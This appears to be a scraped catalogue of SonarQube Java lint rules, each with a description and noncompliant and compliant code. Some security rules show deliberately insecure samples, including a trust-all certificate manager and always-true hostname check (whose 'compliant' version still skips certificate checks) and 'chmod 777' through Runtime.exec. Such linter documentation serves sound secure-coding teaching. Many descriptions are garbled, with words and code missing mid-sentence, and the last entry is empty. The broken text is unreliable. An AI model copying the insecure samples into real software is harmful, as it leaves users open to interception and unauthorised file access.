||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1450 |
When the value of a private field is always assigned to in a class' methods before being read, then it is not being used to store class information. Therefore, it should become a local variable in the relevant methods to prevent any misunderstanding. Noncompliant Code Examplepublic class Foo { private int a; private int b; public void doSomething(int y) { a = y + 5; ... if(a == 0) { ... } ... } public void doSomethingElse(int y) { b = y + 3; ... } } Compliant Solutionpublic class Foo { public void doSomething(int y) { int a = y + 5; ... if(a == 0) { ... } } public void doSomethingElse(int y) { int b = y + 3; ... } } ExceptionsThis rule doesn't raise any issue on annotated field. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1451 |
Each source file should start with a header stating file ownership and the license which must be used to distribute the application. This rule must be fed with the header text that is expected at the beginning of every file. Compliant Solution/* * SonarQube, open source software quality management tool. * Copyright (C) 2008-2013 SonarSource * mailto:contact AT sonarsource DOT com * * SonarQube is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 3 of the License, or (at your option) any later version. * * SonarQube is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3751 |
A method with a So marking a sensitive method In addition to Noncompliant Code Example@RequestMapping("/greet", method = GET) private String greet(String greetee) { // Noncompliant Compliant Solution@RequestMapping("/greet", method = GET) public String greet(String greetee) { See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1694 |
The purpose of an abstract class is to provide some heritable behaviors while also defining methods which must be implemented by sub-classes. A class with no abstract methods that was made abstract purely to prevent instantiation should be converted to a concrete class (i.e. remove the
A class with only abstract methods and no inheritable behavior should be converted to an interface. Noncompliant Code Examplepublic abstract class Animal { // Noncompliant; should be an interface abstract void move(); abstract void feed(); } public abstract class Color { // Noncompliant; should be concrete with a private constructor private int red = 0; private int green = 0; private int blue = 0; public int getRed() { return red; } } Compliant Solutionpublic interface Animal { void move(); void feed(); } public class Color { private int red = 0; private int green = 0; private int blue = 0; private Color () {} public int getRed() { return red; } } public abstract class Lamp { private boolean switchLamp=false; public abstract void glow(); public void flipSwitch() { switchLamp = !switchLamp; if (switchLamp) { glow(); } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1210 |
According to the Java
If this rule is violated, weird and unpredictable failures can occur. For example, in Java 5 the Noncompliant Code Examplepublic class Foo implements Comparable<Foo> { @Override public int compareTo(Foo foo) { /* ... */ } // Noncompliant as the equals(Object obj) method is not overridden } Compliant Solutionpublic class Foo implements Comparable<Foo> { @Override public int compareTo(Foo foo) { /* ... */ } // Compliant @Override public boolean equals(Object obj) { /* ... */ } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3750 |
Spring This rule raises an issue when the Noncompliant Code Example@Scope("prototype") // Noncompliant @Controller public class HelloWorld { Compliant Solution@Controller public class HelloWorld { |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1452 |
It is highly recommended not to use wildcard types as return types. Because the type inference rules are fairly complex it is unlikely the user of that API will know how to use it correctly. Let's take the example of method returning a "List<? extends Animal>". Is it possible on this list to add a Dog, a Cat, ... we simply don't know. And neither does the compiler, which is why it will not allow such a direct use. The use of wildcard types should be limited to method parameters. This rule raises an issue when a method returns a wildcard type. Noncompliant Code ExampleList<? extends Animal> getAnimals(){...} Compliant SolutionList<Animal> getAnimals(){...} or List<Dog> getAnimals(){...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3753 |
A Spring Noncompliant Code Example@Controller @SessionAttributes("hello") // Noncompliant; this doesn't get cleaned up public class HelloWorld { @RequestMapping("/greet", method = GET) public String greet(String greetee) { return "Hello " + greetee; } } Compliant Solution@Controller @SessionAttributes("hello") public class HelloWorld { @RequestMapping("/greet", method = GET) public String greet(String greetee) { return "Hello " + greetee; } @RequestMapping("/goodbye", method = POST) public String goodbye(SessionStatus status) { //... status.setComplete(); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1695 |
A Explicitly throwing If an NPE is being thrown to indicate that a parameter to the method should not have been null, use the Noncompliant Code Examplepublic void doSomething (String aString) throws NullPointerException { throw new NullPointerException(); } Compliant Solutionpublic void doSomething (@NotNull String aString) { } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2301 |
A selector argument is a Unfortunately, the maintainers of the code calling the method won't see the parameter name, only its value. They'll be forced either to guess at the meaning or to take extra time to look the method up. Instead, separate methods should be written. This rule finds methods with a Noncompliant Code Examplepublic String tempt(String name, boolean ofAge) { if (ofAge) { offerLiquor(name); } else { offerCandy(name); } } // ... public void corrupt() { tempt("Joe", false); // does this mean not to temp Joe? } Compliant Solutionpublic void temptAdult(String name) { offerLiquor(name); } public void temptChild(String name) { offerCandy(name); } // ... public void corrupt() { age < legalAge ? temptChild("Joe") : temptAdult("Joe"); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4601 |
URL patterns configured on a This rule raises an issue when: - A pattern is preceded by another that ends with - A pattern without wildcard characters is preceded by another that matches. E.g.: Noncompliant Code Exampleprotected void configure(HttpSecurity http) throws Exception { http.authorizeRequests() .antMatchers("/resources/**", "/signup", "/about").permitAll() // Compliant .antMatchers("/admin/**").hasRole("ADMIN") .antMatchers("/admin/login").permitAll() // Noncompliant; the pattern "/admin/login" should occurs before "/admin/**" .antMatchers("/**", "/home").permitAll() .antMatchers("/db/**").access("hasRole('ADMIN') and hasRole('DBA')") // Noncompliant; the pattern "/db/**" should occurs before "/**" .and().formLogin().loginPage("/login").permitAll().and().logout().permitAll(); } Compliant Solutionprotected void configure(HttpSecurity http) throws Exception { http.authorizeRequests() .antMatchers("/resources/**", "/signup", "/about").permitAll() // Compliant .antMatchers("/admin/login").permitAll() .antMatchers("/admin/**").hasRole("ADMIN") // Compliant .antMatchers("/db/**").access("hasRole('ADMIN') and hasRole('DBA')") .antMatchers("/**", "/home").permitAll() // Compliant; "/**" is the last one .and().formLogin().loginPage("/login").permitAll().and().logout().permitAll(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3631 |
For arrays of objects, Noncompliant Code ExampleArrays.asList("a1", "a2", "b1", "c2", "c1").stream() .filter(...) .forEach(...); Arrays.asList(1, 2, 3, 4).stream() // Noncompliant .filter(...) .forEach(...); Compliant SolutionArrays.asList("a1", "a2", "b1", "c2", "c1").stream() .filter(...) .forEach(...); int[] intArray = new int[]{1, 2, 3, 4}; Arrays.stream(intArray) .filter(...) .forEach(...); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1696 |
Noncompliant Code Examplepublic int lengthPlus(String str) { int len = 2; try { len += str.length(); } catch (NullPointerException e) { log.info("argument was null"); } return len; } Compliant Solutionpublic int lengthPlus(String str) { int len = 2; if (str != null) { len += str.length(); } else { log.info("argument was null"); } return len; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3510 |
To prevent URL spoofing, Noncompliant Code ExampleSSLContext sslcontext = SSLContext.getInstance( "TLS" ); sslcontext.init(null, new TrustManager[]{new X509TrustManager() { public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {} public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {} public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; } }}, new java.security.SecureRandom()); Client client = ClientBuilder.newBuilder().sslContext(sslcontext).hostnameVerifier(new HostnameVerifier() { @Override public boolean verify(String requestedHost, SSLSession remoteServerSession) { return true; // Noncompliant } }).build(); Compliant SolutionSSLContext sslcontext = SSLContext.getInstance( "TLSv1.2" ); sslcontext.init(null, new TrustManager[]{new X509TrustManager() { @Override public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {} @Override public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {} @Override public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; } }}, new java.security.SecureRandom()); Client client = ClientBuilder.newBuilder().sslContext(sslcontext).hostnameVerifier(new HostnameVerifier() { @Override public boolean verify(String requestedHost, SSLSession remoteServerSession) { return requestedHost.equalsIgnoreCase(remoteServerSession.getPeerHost()); // Compliant } }).build(); See
DeprecatedThis rule is deprecated; use S5527 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3752 |
An HTTP method is safe when used to perform a read-only operation, such as retrieving information. In contrast, an unsafe HTTP method is used to change the state of an application, for instance to update a user's profile on a web application. Common safe HTTP methods are GET, HEAD, or OPTIONS. Common unsafe HTTP methods are POST, PUT and DELETE. Allowing both safe and unsafe HTTP methods to perform a specific operation on a web application could impact its security, for example CSRF protections are most of the time only protecting operations performed by unsafe HTTP methods. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesFor all the routes/controllers of an application, the authorized HTTP methods should be explicitly defined and safe HTTP methods should only be used to perform read-only operations. Sensitive Code Example@RequestMapping("/delete_user") // Sensitive: by default all HTTP methods are allowed public String delete1(String username) { // state of the application will be changed here } @RequestMapping(path = "/delete_user", method = {RequestMethod.GET, RequestMethod.POST}) // Sensitive: both safe and unsafe methods are allowed String delete2(@RequestParam("id") String id) { // state of the application will be changed here } Compliant Solution@RequestMapping("/delete_user", method = RequestMethod.POST) // Compliant public String delete1(String username) { // state of the application will be changed here } @RequestMapping(path = "/delete_user", method = RequestMethod.POST) // Compliant String delete2(@RequestParam("id") String id) { // state of the application will be changed here } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4602 |
This will slow-down the start-up of the application and it is likely the application will fail to start with an
This rule raises an issue when: - - Noncompliant Code Exampleimport org.springframework.boot.SpringApplication; @SpringBootApplication // Noncompliant; RootBootApp is declared in the default package public class RootBootApp { ... } @ComponentScan("") public class Application { ... } Compliant Solutionpackage hello; import org.springframework.boot.SpringApplication; @SpringBootApplication // Compliant; RootBootApp belongs to the "hello" package public class RootBootApp { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1213 |
According to the Java Code Conventions as defined by Oracle, the members of a class or interface declaration should appear in the following order in the source files:
Noncompliant Code Examplepublic class Foo{ private int field = 0; public boolean isTrue() {...} public Foo() {...} // Noncompliant, constructor defined after methods public static final int OPEN = 4; //Noncompliant, variable defined after constructors and methods } Compliant Solutionpublic class Foo{ public static final int OPEN = 4; private int field = 0; public Foo() {...} public boolean isTrue() {...} } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1697 |
When either the equality operator in a null test or the logical operator that follows it is reversed, the code has the appearance of safely null-testing the object before dereferencing it. Unfortunately the effect is just the opposite - the object is null-tested and then dereferenced only if it is null, leading to a guaranteed null pointer dereference. Noncompliant Code Exampleif (str == null && str.length() == 0) { System.out.println("String is empty"); } if (str != null || str.length() > 0) { System.out.println("String is not empty"); } Compliant Solutionif (str == null || str.length() == 0) { System.out.println("String is empty"); } if (str != null && str.length() > 0) { System.out.println("String is not empty"); } DeprecatedThis rule is deprecated; use S2259 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1698 |
It is equivalent to use the equality But as soon as Noncompliant Code ExampleString firstName = getFirstName(); // String overrides equals String lastName = getLastName(); if (firstName == lastName) { ... }; // Non-compliant; false even if the strings have the same value Compliant SolutionString firstName = getFirstName(); String lastName = getLastName(); if (firstName != null && firstName.equals(lastName)) { ... }; ExceptionsComparing two instances of the Class c; if(c == Integer.class) { // No issue raised } Comparing public enum Fruit { APPLE, BANANA, GRAPE } public boolean isFruitGrape(Fruit candidateFruit) { return candidateFruit == Fruit.GRAPE; // it's recommended to activate S4551 to enforce comparison of Enums using == } Comparing with private static final Type DEFAULT = new Type(); void foo(Type other) { if (other == DEFAULT) { // Compliant //... } } Comparing with public boolean equals(Object other) { if (this == other) { // Compliant return false; } } Comparing with See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1214 |
According to Joshua Bloch, author of "Effective Java":
This rule raises an issue when an interface consists solely of fields, without any other members. Noncompliant Code Exampleinterface Status { // Noncompliant int OPEN = 1; int CLOSED = 2; } Compliant Solutionpublic enum Status { // Compliant OPEN, CLOSED; } or public final class Status { // Compliant public static final int OPEN = 1; public static final int CLOSED = 2; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2786 |
According to the docs:
Nested enum types are implicitly
So there's no need to declare them Noncompliant Code Examplepublic class Flower { static enum Color { // Noncompliant; static is redundant here RED, YELLOW, BLUE, ORANGE } // ... } Compliant Solutionpublic class Flower { enum Color { // Compliant RED, YELLOW, BLUE, ORANGE } // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5810 |
JUnit5 is more tolerant regarding the visibilities of Test classes and methods than JUnit4, which required everything to be public. JUnit5 supports default package, public and protected visibility, even if it is recommended to use the default package visibility, which improves the readability of code. But JUnit5 ignores without any warning:
Noncompliant Code Exampleimport org.junit.jupiter.api.Test; class MyClassTest { @Test private void test1() { // Noncompliant - ignored by JUnit5 // ... } @Test static void test2() { // Noncompliant - ignored by JUnit5 // ... } @Test boolean test3() { // Noncompliant - ignored by JUnit5 // ... } @Nested private class MyNestedClass { // Noncompliant - ignored by JUnit5 @Test void test() { // ... } } } Compliant Solutionimport org.junit.jupiter.api.Test; class MyClassTest { @Test void test1() { // ... } @Test void test2() { // ... } @Test void test3() { // ... } @Nested class MyNestedClass { @Test void test() { // ... } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2976 |
Using This rule raises an issue when the following steps are taken in immediate sequence:
Note that this rule is automatically disabled when the project's Noncompliant Code ExampleFile tempDir; tempDir = File.createTempFile("", "."); tempDir.delete(); tempDir.mkdir(); // Noncompliant Compliant SolutionPath tempPath = Files.createTempDirectory(""); File tempDir = tempPath.toFile(); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2975 |
Many consider Object's clone method is very tricky. It's based on field copies, and it's "extra-linguistic." It creates an object without calling a constructor. There are no guarantees that it preserves the invariants established by the constructors. There have been lots of bugs over the years, both in and outside Sun, stemming from the fact that if you just call super.clone repeatedly up the chain until you have cloned an object, you have a shallow copy of the object. The clone generally shares state with the object being cloned. If that state is mutable, you don't have two independent objects. If you modify one, the other changes as well. And all of a sudden, you get random behavior. A copy constructor or copy factory should be used instead. This rule raises an issue when Noncompliant Code Examplepublic class MyClass { // ... public Object clone() { // Noncompliant //... } } Compliant Solutionpublic class MyClass { // ... MyClass (MyClass source) { //... } } SeeSee Also |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2612 |
In Unix, " Granting permissions to this group can lead to unintended access to files. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesThe most restrictive possible permissions should be assigned to files and directories. Sensitive Code Examplepublic void setPermissions(String filePath) { Set<PosixFilePermission> perms = new HashSet<PosixFilePermission>(); // user permission perms.add(PosixFilePermission.OWNER_READ); perms.add(PosixFilePermission.OWNER_WRITE); perms.add(PosixFilePermission.OWNER_EXECUTE); // group permissions perms.add(PosixFilePermission.GROUP_READ); perms.add(PosixFilePermission.GROUP_EXECUTE); // others permissions perms.add(PosixFilePermission.OTHERS_READ); // Sensitive perms.add(PosixFilePermission.OTHERS_WRITE); // Sensitive perms.add(PosixFilePermission.OTHERS_EXECUTE); // Sensitive Files.setPosixFilePermissions(Paths.get(filePath), perms); } public void setPermissionsUsingRuntimeExec(String filePath) { Runtime.getRuntime().exec("chmod 777 file.json"); // Sensitive } public void setOthersPermissionsHardCoded(String filePath ) { Files.setPosixFilePermissions(Paths.get(filePath), PosixFilePermissions.fromString("rwxrwxrwx")); // Sensitive } Compliant SolutionOn operating systems that implement POSIX standard. This will throw a public void setPermissionsSafe(String filePath) throws IOException { Set<PosixFilePermission> perms = new HashSet<PosixFilePermission>(); // user permission perms.add(PosixFilePermission.OWNER_READ); perms.add(PosixFilePermission.OWNER_WRITE); perms.add(PosixFilePermission.OWNER_EXECUTE); // group permissions perms.add(PosixFilePermission.GROUP_READ); perms.add(PosixFilePermission.GROUP_EXECUTE); // others permissions removed perms.remove(PosixFilePermission.OTHERS_READ); // Compliant perms.remove(PosixFilePermission.OTHERS_WRITE); // Compliant perms.remove(PosixFilePermission.OTHERS_EXECUTE); // Compliant Files.setPosixFilePermissions(Paths.get(filePath), perms); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3822 |
The use of any value but Noncompliant Code Example<session-factory> <property name="hibernate.hbm2ddl.auto">update</property> <!-- Noncompliant --> </session-factory> Compliant Solution<session-factory> <property name="hibernate.hbm2ddl.auto">validate</property> <!-- Compliant --> </session-factory> or <session-factory> <!-- Property deleted --> </session-factory> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3824 |
It's a common pattern to test the result of a Note that this rule is automatically disabled when the project's Noncompliant Code ExampleV value = map.get(key); if (value == null) { // Noncompliant value = V.createFor(key); if (value != null) { map.put(key, value); } } return value; Compliant Solutionreturn map.computeIfAbsent(key, k -> V.createFor(k)); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2737 |
A Such clauses should either be eliminated or populated with the appropriate logic. Noncompliant Code Examplepublic String readFile(File f) { StringBuilder sb = new StringBuilder(); try { FileReader fileReader = new FileReader(fileName); BufferedReader bufferedReader = new BufferedReader(fileReader); while((line = bufferedReader.readLine()) != null) { //... } catch (IOException e) { // Noncompliant throw e; } return sb.toString(); } Compliant Solutionpublic String readFile(File f) { StringBuilder sb = new StringBuilder(); try { FileReader fileReader = new FileReader(fileName); BufferedReader bufferedReader = new BufferedReader(fileReader); while((line = bufferedReader.readLine()) != null) { //... } catch (IOException e) { logger.LogError(e); throw e; } return sb.toString(); } or public String readFile(File f) throws IOException { StringBuilder sb = new StringBuilder(); FileReader fileReader = new FileReader(fileName); BufferedReader bufferedReader = new BufferedReader(fileReader); while((line = bufferedReader.readLine()) != null) { //... return sb.toString(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2970 |
It is very easy to write incomplete assertions when using some test frameworks. This rule enforces complete assertions in the following cases:
In such cases, what is intended to be a test doesn't actually verify anything Noncompliant Code Example// Fest boolean result = performAction(); // let's now check that result value is true assertThat(result); // Noncompliant; nothing is actually checked, the test passes whether "result" is true or false // Mockito List mockedList = Mockito.mock(List.class); mockedList.add("one"); mockedList.clear(); // let's check that "add" and "clear" methods are actually called Mockito.verify(mockedList); // Noncompliant; nothing is checked here, oups no call is chained to verify() Compliant Solution// Fest boolean result = performAction(); // let's now check that result value is true assertThat(result).isTrue(); // Mockito List mockedList = Mockito.mock(List.class); mockedList.add("one"); mockedList.clear(); // let's check that "add" and "clear" methods are actually called Mockito.verify(mockedList).add("one"); Mockito.verify(mockedList).clear(); ExceptionsVariable assignments and return statements are skipped to allow helper methods. private BooleanAssert check(String filename, String key) { String fileContent = readFileContent(filename); performReplacements(fileContent); return assertThat(fileContent.contains(key)); // No issue is raised here } @Test public void test() { check("foo.txt", "key1").isTrue(); check("bar.txt", "key2").isTrue(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1640 |
When all the keys of a Map are values from the same enum, the Noncompliant Code Examplepublic class MyClass { public enum COLOR { RED, GREEN, BLUE, ORANGE; } public void mapMood() { Map<COLOR, String> moodMap = new HashMap<COLOR, String> (); } } Compliant Solutionpublic class MyClass { public enum COLOR { RED, GREEN, BLUE, ORANGE; } public void mapMood() { EnumMap<COLOR, String> moodMap = new EnumMap<> (COLOR.class); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2972 |
Inner classes should be short and sweet, to manage complexity in the overall file. An inner class that has grown longer than a certain threshold should probably be externalized to its own file. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1641 |
When all the elements in a Set are values from the same enum, the Set can be replaced with an EnumSet, which can be much more efficient than other sets because the underlying data structure is a simple bitmap. Noncompliant Code Examplepublic class MyClass { public enum COLOR { RED, GREEN, BLUE, ORANGE; } public void doSomething() { Set<COLOR> warm = new HashSet<COLOR>(); warm.add(COLOR.RED); warm.add(COLOR.ORANGE); } } Compliant Solutionpublic class MyClass { public enum COLOR { RED, GREEN, BLUE, ORANGE; } public void doSomething() { Set<COLOR> warm = EnumSet.of(COLOR.RED, COLOR.ORANGE); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2974 |
Classes with only Noncompliant Code Examplepublic class PrivateConstructorClass { // Noncompliant private PrivateConstructorClass() { // ... } public static int magic(){ return 42; } } Compliant Solutionpublic final class PrivateConstructorClass { // Compliant private PrivateConstructorClass() { // ... } public static int magic(){ return 42; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2973 |
The use of Unicode escape sequences should be reserved for characters that would otherwise be ambiguous, such as unprintable characters. This rule ignores sequences composed entirely of Unicode characters, but otherwise raises an issue for each Unicode character that represents a printable character. Noncompliant Code ExampleString prefix = "n\u00E9e"; // Noncompliant Compliant SolutionString prefix = "née"; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1764 |
Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified. Noncompliant Code Exampleif ( a == a ) { // always true doZ(); } if ( a != a ) { // always false doY(); } if ( a == b && a == b ) { // if the first one is true, the second one is too doX(); } if ( a == b || a == b ) { // if the first one is true, the second one is too doW(); } int j = 5 / 5; //always 1 int k = 5 - 5; //always 0 c.equals(c); //always true Exceptions
float f; if(f != f) { //test for NaN value System.out.println("f is NaN"); } int i = 1 << 1; // Compliant int j = a << a; // Noncompliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1643 |
Strings are immutable objects, so concatenation doesn't simply add the new String to the end of the existing string. Instead, in each loop iteration, the first String is converted to an intermediate object type, the second string is appended, and then the intermediate object is converted back to a String. Further, performance of these intermediate operations degrades as the String gets longer. Therefore, the use of StringBuilder is preferred. Noncompliant Code ExampleString str = ""; for (int i = 0; i < arrayOfStrings.length ; ++i) { str = str + arrayOfStrings[i]; } Compliant SolutionStringBuilder bld = new StringBuilder(); for (int i = 0; i < arrayOfStrings.length; ++i) { bld.append(arrayOfStrings[i]); } String str = bld.toString(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1996 |
A file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. This is doubly true for a file with multiple top-level classes and interfaces. It is strongly advised to divide the file into one top-level class or interface per file. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3937 |
The use of punctuation characters to separate subgroups in a number can make the number more readable. For instance consider 1,000,000,000 versus 1000000000. But when the grouping is irregular, such as 1,000,00,000; it indicates an error. This rule raises an issue when underscores ( Noncompliant Code Exampleint duos = 1_00_00; int million = 1_000_00_000; // Noncompliant int thousand = 1000; int tenThousand = 100_00; // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1871 |
Having two Noncompliant Code Exampleswitch (i) { case 1: doFirstThing(); doSomething(); break; case 2: doSomethingDifferent(); break; case 3: // Noncompliant; duplicates case 1's implementation doFirstThing(); doSomething(); break; default: doTheRest(); } if (a >= 0 && a < 10) { doFirstThing(); doTheThing(); } else if (a >= 10 && a < 20) { doTheOtherThing(); } else if (a >= 20 && a < 50) { doFirstThing(); doTheThing(); // Noncompliant; duplicates first condition } else { doTheRest(); } ExceptionsBlocks in an if (a == 1) { doSomething(); //no issue, usually this is done on purpose to increase the readability } else if (a == 2) { doSomethingElse(); } else { doSomething(); } But this exception does not apply to if (a == 1) { doSomething(); //Noncompliant, this might have been done on purpose but probably not } else if (a == 2) { doSomething(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1872 |
There is no requirement that class names be unique, only that they be unique within a package. Therefore trying to determine an object's type based on its class name is an exercise fraught with danger. One of those dangers is that a malicious user will send objects of the same name as the trusted class and thereby gain trusted access. Instead, the Noncompliant Code Examplepackage computer; class Pear extends Laptop { ... } package food; class Pear extends Fruit { ... } class Store { public boolean hasSellByDate(Object item) { if ("Pear".equals(item.getClass().getSimpleName())) { // Noncompliant return true; // Results in throwing away week-old computers } return false; } public boolean isList(Class<T> valueClass) { if (List.class.getName().equals(valueClass.getName())) { // Noncompliant return true; } return false; } } Compliant Solutionclass Store { public boolean hasSellByDate(Object item) { if (item instanceof food.Pear) { return true; } return false; } public boolean isList(Class<T> valueClass) { if (valueClass.isAssignableFrom(List.class)) { return true; } return false; } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1751 |
A loop with at most one iteration is equivalent to the use of an At worst that was not the initial intention of the author and so the body of the loop should be fixed to use the nested Noncompliant Code Examplefor (int i = 0; i < 10; i++) { // noncompliant, loop only executes once printf("i is %d", i); break; } ... for (int i = 0; i < 10; i++) { // noncompliant, loop only executes once if (i == x) { break; } else { printf("i is %d", i); return; } } Compliant Solutionfor (int i = 0; i < 10; i++) { printf("i is %d", i); } ... for (int i = 0; i < 10; i++) { if (i == x) { break; } else { printf("i is %d", i); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1994 |
It can be extremely confusing when a Noncompliant Code Examplefor (i = 0; i < 10; j++) { // Noncompliant // ... i++; } Compliant Solutionfor (i = 0; i < 10; i++, j++) { // ... } Or for (i = 0; i < 10; i++) { // ... j++; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1874 |
